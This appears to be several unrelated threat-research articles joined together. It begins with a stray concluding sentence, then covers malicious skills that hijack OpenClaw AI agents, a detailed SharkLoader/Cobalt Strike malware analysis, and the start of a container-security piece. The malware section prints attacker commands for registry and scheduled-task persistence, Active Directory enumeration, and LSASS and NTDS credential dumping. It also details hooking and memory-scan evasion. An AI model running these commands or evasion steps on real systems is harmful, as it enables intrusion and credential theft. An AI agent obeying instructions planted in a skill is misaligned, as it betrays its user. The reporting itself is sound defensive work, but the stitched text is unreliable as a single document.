Addressing the root cause categories systematically will reduce the likelihood of future blind spots and improve the overall security posture of the engaged organizations.

OpenClaw, which was previously known as Clawdbot and Moltbot, is today one of the most successful and fast‑growing ecosystems for AI agents, recognized worldwide. The project quickly became popular with users because of its flexibility and ability to solve fairly complex tasks that previously required a lot of time for automation and execution. A dedicated marketplace appeared quickly after the project started gaining traction, where developers and users began publishing tools that integrate with OpenClaw. Currently, employees all over the world use OpenClaw to automate their tasks, often unaware of risks this practice introduces to them and their employers.

In this article we will examine several security aspects of OpenClaw, look at how attackers can target this system, which vulnerabilities are already known, and how to protect your organization against these issues.

OpenClaw skills

The project’s success was ensured by the fact that the agent accepts natural language instructions, does not require knowledge of programming languages, and allows the use of skills, which expand its capabilities. The overall architecture of OpenClaw can be seen below:

As shown in the diagram, the system is designed to be used with agent skills. These skills can reside locally on the system where the agent is installed or they can be obtained from external sources. At the time of writing this article, a dedicated hub named “ClawHub” is used for sharing skills with other users.

One of the key features of OpenClaw skills is that they are easy to create and do not require coding. A skill is in essence a set of commands written in natural language, although it can contain code. Currently, there is a general description of the skill format: it is usually a text file named SKILL.md, although more complex variants may exist. The primary requirement for these files is that they use a plaintext format. To illustrate what this looks like, here is a fragment of a skill:

The applications for OpenClaw skills are quite broad and can include everyday tasks like checking email, performing routine operations and calculations on a computer, as well as more complex pipelines that handle testing, research, or software development. For most actions, the agent requires access to the operating system’s file system, as well as to the tokens and keys of the systems it will interact with. All necessary data are usually provided by users either through environment variables or in plaintext files located alongside the agent.

Since many skills enable automation of work processes, employees worldwide actively use them. This fact, combined with the widespread adoption of the system and the overall popularity of artificial‑intelligence technologies, has attracted attackers to the project.

OpenClaw vulnerabilities

In less than two years, around 530 vulnerabilities have been discovered both in OpenClaw itself and in the underlying technologies. That said, the publication of OpenClaw vulnerabilities in the CVE database began only in February 2026. Below is a breakdown of these vulnerabilities by severity.

Registered vulnerabilities (download)

As shown in the chart, the number of high-severity vulnerabilities is quite large. Most of these vulnerabilities fundamentally involve issues with storing sensitive data and operating with excessively high privileges. Each of them can be exploited to hijack the agent or inject commands that it will execute.

Malicious skills

Besides exploiting vulnerabilities and deceiving users, there are more specific attack vectors against OpenClaw, namely, skills.

Research logically draws a parallel between supply‑chain attacks and the distribution of malicious skills. However, unlike usual supply-chain attacks, creating malicious skills is trivial because there is no longer a need to develop custom malware. Despite this, until February 7, 2026, no skills had undergone even a basic security check, which allowed malicious skills to appear immediately. Our scan of the skill hub in April identified 24 accounts that were distributing more than 600 malicious skills. Overall, open‑source intelligence indicates that over 1100 malicious accounts have been created since January.

Following the investigations and a lengthy effort to clean the skill repository of malicious entries, it was announced that files would undergo preliminary scanning with VirusTotal (VT) and NVIDIA’s SkillSpector. On the one hand, this is a more responsible approach to publishing skills; on the other, because OpenClaw is primarily an agent that executes a set of instructions, detecting malicious activity moves to a different level. Now it is necessary not only to analyze a file for dangerous commands that should be blocked, but also to examine all possible malicious behaviors that could be triggered by a harmful instruction within a skill. An example of a malicious command in natural language:

An example of a malicious command using a part of a bash command:

The example in the image and similar malicious skills are detected by Kaspersky products as HEUR:Trojan.ANSI.MalClaw.gen.

In addition, Kaspersky products monitor malicious OpenClaw skill activity on the system. Below are detection statistics from our systems that have identified malicious OpenClaw client behavior. The data for June cover the first half of the month.

Statistics on Kaspersky product detections of OpenClaw malware (download)

As shown in the chart, even despite the measures taken to counter the publication of malicious skills, attacks continue. Therefore, it is important to employ layered protection that isolates the OpenClaw agent from critical data and infrastructure systems. We also recommend checking all skills that enter the organization’s perimeter. For this purpose, Kaspersky Scan Engine is suitable. This solution is designed to protect web applications, proxy servers, network attached storage, and mail gateways. It can be integrated into almost any application, and it is easy to deploy and manage.

Additionally, monitor network accesses used by the agent. For this purpose, the project already provides a sandboxing subsystem and various wrappers for working with APIs and services. Last but not least, develop a comprehensive AI policy and make sure your employees never use third-party tools that they are not explicitly allowed to use.

Introduction

During our research of activity affecting a diplomatic organization in Indonesia, we uncovered a previously undocumented malware family that we have named SharkLoader. What initially appeared to be an isolated case quickly expanded into a broader campaign as we identified additional SharkLoader infections across multiple countries and sectors.

Our investigation revealed that SharkLoader serves as a loader designed to deploy Cobalt Strike Beacon on compromised systems. We observed the threat actor deploying SharkLoader through exploitation of internet-facing applications, including Microsoft Exchange, Microsoft SharePoint, and Openfire Server, as well as through malware-based delivery mechanisms.

Beyond the diplomatic entity in Indonesia, we identified related activity targeting government organizations in Taiwan, software development companies across multiple countries, and entities in other sectors located in Hong Kong, Lebanon, Syria, Colombia, North Macedonia, Nepal, Serbia, and more. The observed victimology suggests a campaign with broad geographic reach and a diverse target set rather than a narrow focus on a specific industry or region.

For now, we are tracking this activity as StrikeShark. Although the operators utilize several open-source post-compromise tools associated with Chinese-speaking developers, we have not identified direct code reuse, infrastructure overlap, or operational similarity to confidently attribute the activity to any known APT or cybercrime group. As a result, attribution remains preliminary and the campaign’s ultimate objectives are still under research.

Initial infection

Our analysis of SharkLoader intrusions indicates that the threat actor employs multiple methods to gain initial access to victim environments. During our investigation, we observed two primary infection vectors: the exploitation of vulnerabilities in internet-facing applications and the deployment of custom dropper samples, some of which were disguised as legitimate software.

Exploitation of public-facing applications

In the incident affecting an Indonesian diplomatic entity, the threat actor exploited Microsoft Exchange vulnerabilities, including CVE-2021-26855 (ProxyLogon), to gain access to the target environment. Similar activity was observed in Taiwan, where software development organizations were compromised through exploitation of Openfire (CVE-2023-32315). In a separate incident affecting a Colombian organization, the threat actor exploited a GeoServer instance vulnerable to CVE-2024-36401.

Beyond these incidents, we identified additional exploitation activity targeting vulnerabilities in multiple internet-facing enterprise applications and network appliances including those listed below:

Remote Code Execution (RCE)

• Apache Shiro: CVE-2016-4437
• Hikvision Products: CVE-2021-36260
• Microsoft SharePoint: CVE-2021-27076
• Zimbra Collaboration Suite: CVE-2022-27925
• Microsoft Exchange Server: CVE-2022-41082
• F5 BIG-IP system: CVE-2023-46747
• Fortinet FortiOS: CVE-2024-21762
• React Server Components: CVE-2025-55182

Authentication Bypass

• Fortinet FortiOS: CVE-2022-40684
• Cisco IOS XE Web UI: CVE-2023-20198

As of the time of writing this article, we haven’t obtained the exploits the attackers used. However, based on the vulnerabilities observed across multiple attacks, we assess with medium confidence that the threat actor primarily relies on publicly available proof-of-concept (PoC) exploits to gain initial access. All the vulnerabilities identified during our investigation have publicly available exploit code, including PoCs hosted on GitHub and other open-source platforms, suggesting the actor leverages existing offensive resources rather than develops custom exploit capabilities. The victim profile also indicates that the activity is largely opportunistic, affecting organizations across various industries, regions, and technology environments without a clear focus on a specific target set. Also, one of the IP addresses associated with the C2 domain was also observed conducting internet-wide scanning activity, potentially aimed at identifying and exploiting vulnerable internet-facing systems at scale.

Following exploitation, the attacker established persistence on compromised servers through the deployment of webshells. Although we were unable to recover the webshell files, a series of commands whose execution we observed in our telemetry along with the detection records of webshells strongly indicate their use for post-exploitation activities.

One of the earliest observed actions involved copying the legitimate Windows application SystemSettings.exe to a new location before executing it.

cd C:\Windows\ImmersiveControlPanel\
copy SystemSettings.exe C:\ProgramData\
cd C:\ProgramData\
SystemSettings.exe

This application was later abused as part of a DLL sideloading chain used to launch SharkLoader, which in this scenario was hidden in the malicious SystemSettings.dll library. We suspect that this DLL along with malicious encrypted files, which we’ll describe further, was uploaded through the webshell to the same directory as SystemSettings.exe.

In another case involving the exploitation of CVE-2021-27076, the threat actor launched SystemSettings.exe triggering the subsequent SharkLoader sideloading chain from different directories on the system, which suggests renewed operational activity in the victim environment. In some of the cases, they used security product vendor names as the directory names, allegedly to appear legitimate.

cd C:\ProgramData\KasperskyLab\
dir
.\SystemSettings.exe
cd %APPDATA%
dir
cd kasperskylab
dir
.\SystemSettings.exe

Dropper-based distribution

In several observed cases, the threat actor distributed SharkLoader through custom dropper executables masquerading as legitimate software installers or applications such as Google Update and Cisco AnyConnect. However, the exact delivery mechanism used to distribute these droppers remains unknown.

The observed dropper filenames include:

• GoogleUpdateStepup.exe
• AnyConnect-win-4.10.04071-predeploy-k9exe
• AutoUpdate.exe
• 319-pfd-8001-reva_traitement biologique_master.zip

In one of the samples we analyzed, the threat actor used a legitimate Cisco AnyConnect VPN installer as a lure. The custom dropper extracted zlib-compressed data embedded within its resource section, decompressed it into an MSI package, and wrote the file to %APPDATA%\reports\AnyConnect-win-4.msi. The MSI package was a legitimate Cisco AnyConnect VPN installer, which was subsequently executed via the ShellExecuteW API, making the user believe the custom dropper was a legitimate application.

While the Cisco AnyConnect installer was decompressed and executed, SharkLoader components were silently dropped into directories in %APPDATA% different from %APPDATA%\reports\ in the background, executing the malware loader once the installation process completes.

In addition to installer-themed lures, several SharkLoader droppers use decoy PDF documents to persuade victims to open the malicious file. However, not all samples employ this technique, as some droppers function solely as a delivery mechanism for SharkLoader without presenting any lure content.

Among the samples analyzed, most droppers write the decoy PDF to a subdirectory named aswerf within the %TEMP% directory, while others save the document directly to %TEMP%.

Analysing the sample shows the PDF files are stored within the dropper’s resource section under the resource name TELEMETRY and are compressed with zlib. Upon execution, the dropper extracts and decompresses the embedded PDF, writes it to disk using the same filename as the dropper executable but with a PDF extension, and launches it via cmd.exe /c to display the decoy document to the victim.

The following are examples of PDF documents extracted and displayed by the droppers during the deployment of SharkLoader.

In one dropper sample, discovered on a machine located in Lebanon (MD5: 1F65544978B8EA0E745E573B8EE9684B), the dropper extracts and decompresses SystemSettings.dll from zlib-compressed data embedded within the binary and writes it to %APPDATA%\xwreg. It also extracts and decompresses DscCoreR.mui and SyncRest.dat from resources named VAULTSVCD and UMRDPRDAT, respectively, and writes them to the same directory.

The dropper then copies the legitimate SystemSettings.exe application from C:\Windows\ImmersiveControlPanel to the target location to facilitate DLL sideloading. Across other SharkLoader dropper samples analyzed, the malware components were observed being written to either %APPDATA%\xwreg or %APPDATA%\xgdf.

SharkLoader installation

SharkLoader is composed of multiple components that work together to load and execute the final implant, a Cobalt Strike Beacon.

Filename	Description
SystemSettings.exe	Legitimate Windows application abused for DLL side-loading of the malicious DLL SystemSettings.dll.
SystemSettings.dll	Main malicious SharkLoader DLL responsible for the core loader functionality.
DscCoreR.mui	An encrypted module that contains an embedded Cobalt Strike Beacon and the MinHook library. This module loads SyncRes.dat, installs a couple of API hooks, and executes the Beacon directly in memory.
SyncRes.dat	An encrypted DLL that is used to install multiple API hooks.

While the majority of SharkLoader samples analyzed rely on the sideloading of SystemSettings.dll, other variants leverage alternative DLL side-loading targets, including msedge.dll, PrintDialog.dll, and miracastview.dll, each of them leveraging a corresponding legitimate application.

Across the different variants examined, the encrypted modules were also observed using a variety of filenames, including:

GameInputInboxs32.mui
diagerr.xml
NtfsLog.etl
Ignored.Dat
VistaCompat.nls

The SharkLoader execution flow is as follows:

In the dropper-based infections, after deploying all required SharkLoader components, the dropper creates two scheduled tasks through the Windows Task Scheduler COM interfaces. Task names:

• OneDrive Standalone Update Task-S-1-5-21-4165425321-4153752593-2322023643-1000
• MicrosoftUpdateTaskUserS-1-5-32-2456537112-101246289-228944324-1000

Both tasks are configured to execute the copied SystemSettings.exe from the malware’s working directory (for example, %APPDATA%\xwreg or %APPDATA%\xgdf), triggering the side-loading of the malicious SharkLoader DLL.

The first scheduled task uses a time-based trigger that executes every five minutes, providing long-term persistence.

The second task is configured to execute every second, likely to ensure immediate execution of SharkLoader following deployment.

After a delay of approximately 1.5 seconds, the dropper removes the second scheduled task by using the Task Scheduler COM interfaces, leaving the first task in place to maintain persistence on the system.

SharkLoader DLL – Main implant

For the detailed analysis of the infection chain, we’ll focus on the SharkLoader components deployed by a malicious dropper named 一种异常状况的截图（包括操作系统和输入法版本）.pdf.exe (MD5: 24FCEBDEECBA65004FDB0923763D74FD), which was identified in a campaign targeting a government entity in Taiwan.

Filename	MD5
SystemSettings.exe	D98F568496512E4F98670C61C97CB07A
SystemSettings.dll	AA3086BE652C8B20B0B29B2730D57119
DscCoreR.mui	A514D1BB62D7916475946FE7C07AC0AA
SyncRest.dat	9CBD560F820C95D7C38342CD558CB5C6

“PerfectDLL Hijacking” technique

Once the malicious DLL is loaded, SharkLoader implements a technique commonly referred to as “Perfect DLL Hijacking” and originally described by a security researcher named Elliot Killick on his blog. The purpose of this technique is to bypass the Windows loader lock and safely create a malicious thread via the CreateThread API without risking a deadlock.

According to Microsoft’s Dynamic-Link Library Best Practices, the Windows loader holds a synchronization object known as the “loader lock” while executing the DllMain function. This mechanism ensures that only one thread can perform DLL loading and initialization operations within a process at any given time. As a result, invoking APIs such as CreateThread or LoadLibrary from within DllMain can lead to deadlocks because the loader lock remains held throughout the execution of the function.

To avoid this issue, SharkLoader manipulates the process’s internal loader state to release the loader lock before invoking CreateThread from the DllMain execution path. By doing so, it attempts to execute its malicious code without triggering the loader-related deadlocks that can occur when threads are created while the loader lock remains held.

Based on the code, SharkLoader first resolves the addresses of several undocumented loader structures within ntdll.dll, including:

1. LdrpLoaderLock: the critical section object used by the Windows loader to synchronize module loading and initialization operations
2. LdrpWorkInProgress: an internal loader state variable that tracks whether module initialization is currently in progress

After locating these structures, SharkLoader forcefully releases the loader lock by invoking LeaveCriticalSection on LdrpLoaderLock. It then decrements the value of LdrpWorkInProgress with InterlockedDecrement64, effectively marking the initialization process as complete.

Finally, the malware signals the loader completion event via SetEvent before creating a new thread to execute its malicious functionality. As a result, these actions manipulate the loader’s internal state and cause Windows to treat the DLL initialization process as having completed successfully. This allows SharkLoader to continue execution after forcefully releasing the loader lock, despite still operating from within the DllMain execution path.

Decryption and loading of >DscCoreR.mui

As shown in the previous section, the loader creates a new thread after escaping the Windows loader lock. This thread subsequently spawns a second thread responsible for decrypting and reflectively loading the encrypted file, DscCoreR.mui.

The routine first reads the encrypted file into memory and extracts the first 16 bytes to use as the Blowfish decryption key. It then initializes the Blowfish cipher by using custom P-array and S-box constants embedded in the loader and decrypts the file in ECB mode with the extracted key. Once decryption is complete, the resulting PE file is reflectively loaded into memory and executed without being written to disk.

The decrypted DscCoreR.mui file is a packed PE file with its MZ header removed, likely as an anti-analysis measure. After decryption, SharkLoader processes the PE image by parsing its headers, allocating memory for the image, mapping its sections, applying relocations, resolving imported functions, and setting the appropriate memory protections. Once the in-memory PE loading process is complete, the main loader, SystemSettings.dll, transfers execution to the entry point of the mapped image, which contains the packer stub.

The stub then unpacks the protected code, invokes the DLL’s DllMain function, and returns execution to SystemSettings.dll. Finally, SystemSettings.dll calls the exported function SetUserProcessPriorityBoost from the mapped DLL, triggering execution of the fully unpacked next-stage DLL.

DscCoreR.mui and SyncRes.dat DLLs

Within the decrypted and unpacked DscCoreR.mui code, the malware proceeds to load and decrypt a second encrypted file, SyncRes.dat, before reflectively loading the resulting DLL into memory.

The mapped DLL installs multiple API hooks by using Microsoft Detours, which will be discussed in the next section.

After mapping and loading SyncRes.dat for API hooks, the DscCoreR.mui performs installation of the Vectored Exception Handler (VEH) and then creates a thread in a suspended state that is later used to execute the Cobalt Strike Beacon shellcode. Additionally, to facilitate additional API hooks, it decompresses and loads the MinHook library and uses it to install hooks on the VirtualAlloc and Sleep APIs.

The DscCoreR.mui then decompresses the Cobalt Strike Beacon shellcode into the memory region associated with the suspended thread and then the suspended thread is resumed, resulting in execution of the beacon.

Decryption and loading of SyncRes.dat

To decrypt SyncRes.dat, the malware extracts a 16-byte AES-128 key and a 16-byte initialization vector (IV) directly from the file itself. The first 16 bytes of the file contain the AES key, while the subsequent 16 bytes contain the IV. The remaining file content consists of AES-encrypted data, which is decrypted using the extracted key and IV. Once decrypted, the resulting data reveals a PE image with its MZ header removed, similar to DscCoreR.mui.

Similar to the decrypted DscCoreR.mui module, the decrypted SyncRes.dat file is also protected by an unknown custom packer. After decryption, the loader reflectively loads the PE image before transferring execution to the module’s entry point.

The entry point contains a packer stub responsible for unpacking the protected code in memory. Once the unpacking routine is complete, the malware invokes a specific exported function named StartEngineData, which serves as the primary execution routine of the third-stage DLL.

Before continuing with the DscCoreR.mui analysis, we will first discuss SyncRes.dat.

SyncRes.dat decrypted DLL: Multiple API hooks

The decrypted and unpacked SyncRes.dat DLL is primarily responsible for installing multiple Windows API hooks by using the Microsoft Detours library. After attaching all detour hooks, it calls DetourTransactionCommitEx to apply them in one commit.

The following table lists the hooked Windows APIs and their corresponding hook handler functions.

Hooked Windows APIs	Detour function description
CreateProcessA	Saves all original CreateProcessA parameters for use in the parent process (PPID) spoofing routine. Creates a new thread that executes the process creation routine responsible for PPID spoofing. Falls back to the original CreateProcessA if the thread creation fails. Identifies an svchost.exe process that has the same security context as the current SharkLoader process. Builds an extended startup attribute list to set the selected svchost.exe as the spoofed parent. Calls the original CreateProcessA with the modified parent attribute. As a result, any new process created by the current process (primarily from the Cobalt Strike beacon) is spawned under svchost.exe instead of the current module process.
CreateProcessW	Saves all original CreateProcessW parameters for use in the PPID spoofing routine, which is executed through an APC-based mechanism rather than a dedicated thread compared to the CreateProcessA API hook. Schedules a delayed process creation (10 microseconds) through APC execution using CreateWaitableTimerW and SleepEx. The timer callback performs the svchost.exe PPID spoofing logic, similar to the CreateProcessA spoofing routine. As a result, new processes created via CreateProcessW by the current process (primarily from the Cobalt Strike beacon) are launched under svchost.exe through an APC-based execution mechanism
OpenProcessToken	Once hooked, the malware initializes jitasm to construct a direct syscall stub for NtOpenProcessToken at runtime. Invokes NtOpenProcessToken through the constructed direct syscall stub, redirecting the original API (OpenProcessToken) call flow.
AdjustTokenPrivileges	Redirects the API call to a direct NtAdjustPrivilegesToken syscall stub constructed by jitasm.
OpenProcess	Redirects the API call to a direct NtOpenProcess syscall stub constructed by jitasm.
WriteProcessMemory	Redirects the API call to a direct NtWriteVirtualMemory syscall stub constructed by jitasm.
NtCreateUserProcess	Redirects the API call to a direct NtCreateUserProcess syscall stub constructed by jitasm.
LoadLibraryA	Redirects the API call to a function that resolves LdrLoadDll API using a ROR13-based API hashing algorithm. Uses the original parameters to invoke LdrLoadDll directly. If LdrLoadDll resolution or invocation fails, uses CreateTimerQueue and CreateTimerQueueTimer to schedule a 10-millisecond delayed execution of the original LoadLibraryA, with CreateEventW used for synchronization.
GetModuleHandleA	Redirects the API call to a custom function that resolves the module base address through the following steps: Enumerates loaded modules within the current process using CreateToolhelp32Snapshot, Module32FirstW, and Module32NextW. Compares each enumerated module name with the module name provided in the API parameter. Returns the module base address if a match is found. Falls back to the original GetModuleHandleA API if the custom resolution routine fails.
GetModuleHandleW	Similar approach to the GetModuleHandleA API hooks above.
GetProcAddress	The original GetProcAddress parameters are passed to the hook handler. The hook handler computes a Murmur32 hash of the requested function name. The hook handler parses the module’s PE structure and locates the export table. Each exported function name is hashed using the same Murmur32 algorithm and compared against the previously generated hash. If a hash match is found, the corresponding function address is returned. If no match is found, the call falls back to the original GetProcAddress.
LoadLibraryExA	The hook handler redirects the API call to its original address. In short, the hooked LoadLibraryExA calls the original LoadLibraryExA function.
VirtualAllocEx	Redirects the API call to a direct NtAllocateVirtualMemory syscall stub constructed by jitasm.
VirtualProtectEx	Redirects the API call to a direct NtProtectVirtualMemory syscall stub constructed by jitasm.
VirtualProtect	Redirects the API call to a direct NtProtectVirtualMemory syscall stub constructed by jitasm.
ResumeThread	Redirects the API call to a direct NtResumeThread syscall stub constructed by jitasm.
GetThreadContext	Redirects the API call to a direct NtGetContextThread syscall stub constructed by jitasm.
OpenThread	Redirects the API call to a direct NtOpenThread syscall stub constructed by jitasm.
NtCreateThread	Redirects the API call to a direct NtCreateThread syscall stub constructed by jitasm.
NtCreateThreadEx	Redirects the API call to a direct NtCreateThreadEx syscall stub constructed by jitasm.
NtQueueApcThread	Redirects the API call to a direct NtQueueApcThread syscall stub constructed by jitasm.
NtQueueApcThreadEx	Redirects the API call to a direct NtQueueApcThreadEx syscall stub constructed by jitasm.
ExpandEnvironmentStringsA	The detour redirects the API to a custom function that creates a new thread. That thread executes a routine that calls the ExpandEnvironmentStringsA API.
CreateFileMappingA	The detour redirects the API call to a custom function that creates a new thread. Within the thread, it initializes thread-pool and timer objects, sets a threadpool timer for 10 ms and a waitable timer for 0.1 ms, then calls CreateFileMappingNumaA. If thread creation fails, CreateFileMappingNumaA is called directly without creating a thread.
MapViewOfFile	The detour redirects the API call to a custom function that creates a new thread. The thread runs a similar thread-pool and timer setup to the previous function, resolves MapViewOfFileEx via GetProcAddress, calls it with zeroed arguments, and stores the return value.
UnmapViewOfFile	The detour redirects the API to a function that tries to run the unmap (same API) in a new thread. The thread creates an event and timer queue, schedules a callback after 10 ms to call UnmapViewOfFile and signal the event, then waits and cleans up. If thread creation fails, it calls UnmapViewOfFile directly.
NtMapViewOfSectionEx	Redirects the API call to a direct NtMapViewOfSectionEx syscall stub constructed by jitasm.
NtCreateNamedPipeFile	Redirects the API call to a direct NtCreateNamedPipeFile syscall stub constructed by jitasm.
NtReadFile	Redirects the API call to a direct NtReadFile syscall stub constructed by jitasm.
NtWriteFile	Redirects the API call to a direct NtWriteFile syscall stub constructed by jitasm.
EtwEventWrite	The detour redirects EtwEventWrite to a stub that always returns 1, which prevents ETW logging.
EventWriteEx	The detour redirects EventWriteEx to a function that always returns 0, which prevents ETW logging.
EventWrite	The detour redirects EventWrite to a function that always returns 0, which prevents ETW logging.

Upon completing the installation of API hooks via the decrypted SyncRes.dat, the DscCoreR.mui DLL proceeds with the remaining functions, which are discussed below.

VEH registration and access violation handling

Following the installation of the API hooks, the malware registers a Vectored Exception Handler (VEH) to monitor exceptions generated during runtime. The handler specifically checks for access violation exceptions (0xC0000005). When such an exception occurs, it retrieves the faulting memory address from the exception record and calls VirtualProtect to restore read, write, and execute (RWX) permissions to the corresponding memory page before resuming execution.

During our analysis, no access violations were observed. It is possible that this mechanism is intended to handle access violations that may occur under specific runtime conditions.

Thread creation for Cobalt Strike Beacon execution

The malware creates a new thread in a suspended state that is intended to execute the Cobalt Strike Beacon shellcode. The thread entry point is configured to point to a memory buffer that will later contain the beacon shellcode.

At this stage, the buffer does not yet contain the actual Cobalt Strike Beacon shellcode. Instead, the thread is created in a suspended state so that the malware can prepare and inject the shellcode into the buffer before execution. Once the beacon payload has been written into the buffer, the malware resumes the suspended thread using the ResumeThread API, which triggers the execution of the Cobalt Strike beacon.

MinHook DLL, API hooking, and Cobalt Strike beacon

After creating the suspended thread for beacon execution, the malware decompresses a zlib-compressed MinHook PE file embedded within DscCoreR.mui. The MinHook library is used to install API hooks for the VirtualAlloc and Sleep functions. Once the MinHook DLL is decompressed and loaded into memory, the malware resolves the exported functions MH_Initialize and MH_CreateHook, which are then used to install hooks on the VirtualAlloc and Sleep APIs.

After the hooks are installed, the malware invokes a function that decompresses a zlib-compressed Cobalt Strike Beacon shellcode embedded within the malware. The function first decompresses the shellcode into a temporary buffer and then allocates executable memory using VirtualAlloc with RWX permissions. The decompressed beacon is subsequently copied into the allocated memory region.

Because the VirtualAlloc API has already been hooked at this stage, the hook handler captures the address and size of the allocated memory used to store the beacon shellcode. The hook records the addresses and sizes of the first three successful memory allocations and stores these values in global variables to track specific memory regions allocated during execution. These tracked regions are associated with memory buffers used by the Cobalt Strike Beacon during runtime.

The second hook, on the Sleep API, is used when Cobalt Strike Beacon calls Sleep, such as during beacon sleep intervals. It temporarily modifies the memory protection of the tracked allocation regions by using VirtualProtect, changing their protection to PAGE_READWRITE (RW) before invoking the original Sleep function. After the sleep period ends, the malware restores the memory protection of those regions to PAGE_EXECUTE_READWRITE (RWX). This behavior suggests that the malware developer implemented this mechanism to evade memory scanning techniques that identify executable (RWX) code regions in memory.

Finally, after the API hooks are installed and the Cobalt Strike Beacon shellcode has been written to the thread buffer, the malware calls the ResumeThread API to resume the suspended thread and begin execution of the beacon.

Persistence mechanism

While the analyzed SharkLoader implant does not contain a built-in persistence mechanism especially when it comes to cases when it is dropped after the exploitation of a public-facing application, our investigations revealed that the threat actor employs several techniques to maintain access to compromised systems.

Registry Run key: In the incident that affected an organization in Hong Kong, the attacker manually created a registry Run key to launch SystemSettings.exe upon user logon. The following command was used:

reg add HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v "MFUpdate" /t REG_SZ /d "$appdata\Identities\SystemSettings.exe" /f

This technique allows the malware to automatically execute whenever the user logs in, ensuring persistent access.

Scheduled task: In the separate compromise that affected a diplomatic government entity in Indonesia, the attacker established persistence through a scheduled task configured to execute SharkLoader daily. The task, named "\Microsoft\Windows\Edge\Edgeupdate", was configured to run C:\ADriveLogs_Logs\SystemSettings.exe by using the following command:

Schtasks /create /s /u "" /p "" /ru "SYSTEM" /tn "\Microsoft\Windows\Edge\Edgeupdate" /sc DAILY /tr "C:\ADriveLogs_Logs\SystemSettings.exe /F"

Running the task with SYSTEM privileges ensures that SharkLoader executes even if no user is logged in.

Post-compromise activity

Following initial compromise and persistence, the attacker engaged in extensive reconnaissance and credential theft activities.

System information enumeration: The attacker initially gathered basic system information by using the following commands:

systeminfo
ipconfig /all
tasklist /svc

Post-exploitation tools: Our analysis revealed the use of several third-party post-exploitation tools, most of which are open-source and developed by Chinese-speaking developers. These tools included:

Tool name	Description
FScan	Network scanner tool with vulnerability exploitation modules
Searchall	Sensitive information search tool
Pillager	Information gathering tool

We also detected the use of SharpGPOAbuse by the threat actor, a tool designed to modify Group Policy Objects within Active Directory environments.

Active Directory enumeration: In the compromise affecting a diplomatic government entity in Indonesia, the attacker used both Cobalt Strike and a webshell to enumerate the internal Active Directory environment. They executed a series of commands to gather information about the network, users, and groups:

• Network information:
  

  ping -n
  netstat -ano
  arp -a
  net share

• User and group information:
  

  query user
  nslookup
  quser
  net group /domain

• Specific group membership:
  

  powershell "Get-ADGroupMember -Identity "" -Recursive | Select-Object Name, ObjectClass"
  dsquery group -name "" | dsget group -members -expand | dsget user -samid -display -email"
  powershell "Get-ADGroupMember -Identity "" -Recursive | Where-Object { $_.ObjectClass -eq "computer" } | Select-Object Name, SamAccountName"
  powershell -exec bypass -c "Get-ADUser -Filter * -Prop * | select sAMAccountName
  net group "Domain Controllers" /domain
  net group "Enterprise Admins" /domain
  net group "Organization Management" /domain
  net group "domain admins" /domain

• Process enumeration:
  

  tasklist /SVC | findstr $selfname.exe

• Directory listing:

dir \\c$
dir \\c$\inetpub
dir \\c$\inetpub\custerr
dir \\c$\inetpub\wwwroot\

Credential dumping: The attacker also attempted to dump credentials from the compromised machine by targeting both the LSASS process and the NTDS database file. The following commands were observed:

ntdsutil "ac i ntds" "ifm" "create full $temp" q q
Procdump64.exe -accepteula -ma lsass.exe $temp\lsass.dmp

Dumping the LSASS process allows the attacker to extract in-memory credentials, while accessing the NTDS database enables retrieval of Active Directory account password hashes. This combination of techniques allows the attacker to obtain privileged credentials for lateral movement, privilege escalation, and deeper compromise.

Victimology

The victimology observed in this campaign shows a combination of strategic and opportunistic characteristics. Confirmed victims include government-related entities, such as the ministry in Taiwan and the diplomatic organization in Indonesia, as well as software development companies in Taiwan, Lebanon, and Syria. Additional affected organizations were identified in Hong Kong, Colombia, Macedonia, Nepal, and Serbia.

Targeting of government and software development organizations may indicate a cyber-espionage objective, although our confidence remains low due to the limited post-compromise activity observed, which primarily consisted of credential access, system reconnaissance, and lateral movement. The compromise of government and software development organizations could indicate an interest in gathering political intelligence or intellectual property.

At the same time, the use of SharkLoader and Cobalt Strike, alongside the exploitation of public-facing applications and malicious installers and droppers, suggests the attacker may also be opportunistically targeting vulnerable systems. The absence of clear evidence of data exfiltration thus far does not exclude this possibility, as Cobalt Strike’s file operation and data exfiltration modules could be employed at a later stage.

Although the full scope of the campaign is not yet known, the combination of targeted and opportunistic activity suggests it should continue to be closely monitored.

Attribution

Our investigation reveals no code or infrastructure overlap linking SharkLoader to any existing threat actor at this time. The TTPs employed during the operation also do not align with those of known actors.

However, analysis of the post-exploitation open-source tools used during the campaign revealed that several reconnaissance tools, including FScan, Searchall, and Pillager, were developed by individuals identified as Chinese speaking developers on GitHub.

We assess StrikeShark to be a Chinese-speaking threat actor with low confidence. This assessment is based on limited indicators and should be considered preliminary. Further investigation is required to characterize this cluster more fully, and the possibility remains that other actors may also be utilizing these tools.

Conclusion

Our investigation discovered a previously undocumented intrusion cluster that we are tracking as StrikeShark. The StrikeShark campaign represents a sophisticated malware threat to entities worldwide. The use of SharkLoader to deploy Cobalt Strike, coupled with API hook installation to evade detection, demonstrates a significant level of technical expertise. The campaign’s broad targeting across sectors and geographic regions suggests a potential focus on espionage or information gathering. While the precise objectives remain under investigation, the combination of targeting government entities and software developers warrants heightened vigilance.

Given that our visibility is limited to incidents observed through Kaspersky telemetry, we suspect the actual number of compromises may be significantly higher and extend beyond these victims as the threat actor actively used several exploitations of public facing application.

Indicators of compromise

Additional information about this activity, including indicators of compromise, is available to customers of the Kaspersky Intelligence Reporting Service. If you are interested, please contact intelreports@kaspersky.com.

C559CC68986933200FD5D9E4388E2F58                    Installer
B3352B42432DEDC4A519F011DC8B5D5A                  Dropper
24FCEBDEECBA65004FDB0923763D74FD                  Dropper
9C872A0D5D5A38950E8B9AC9B488BE3F                  SharkLoader DLL
AA3086BE652C8B20B0B29B2730D57119                   SharkLoader DLL
A514D1BB62D7916475946FE7C07AC0AA                  Encrypted file
9CBD560F820C95D7C38342CD558CB5C6                  Encrypted file
connect-microsoft[.]com
ms-record[.]com
ms-record[.]top
ms-tray[.]top

Introduction

Modern infrastructures universally rely on containerization to deploy applications, scale services, and build cloud platforms. The use of Docker, Kubernetes, and similar technologies has become the corporate standard for efficient automation. However, as containers grow in popularity, so does the interest of malicious actors — a trend we actively track in our research into advanced cyberthreats. For instance, in one of its recent attacks, the APT group TeamPCP compromised Checkmarx KICS across multiple attack chains for different vectors. This included poisoning a Docker Hub repository to later steal Kubernetes secrets and other sensitive data. The tainted images distributed a stealer that was loaded during the KICS scanning process.

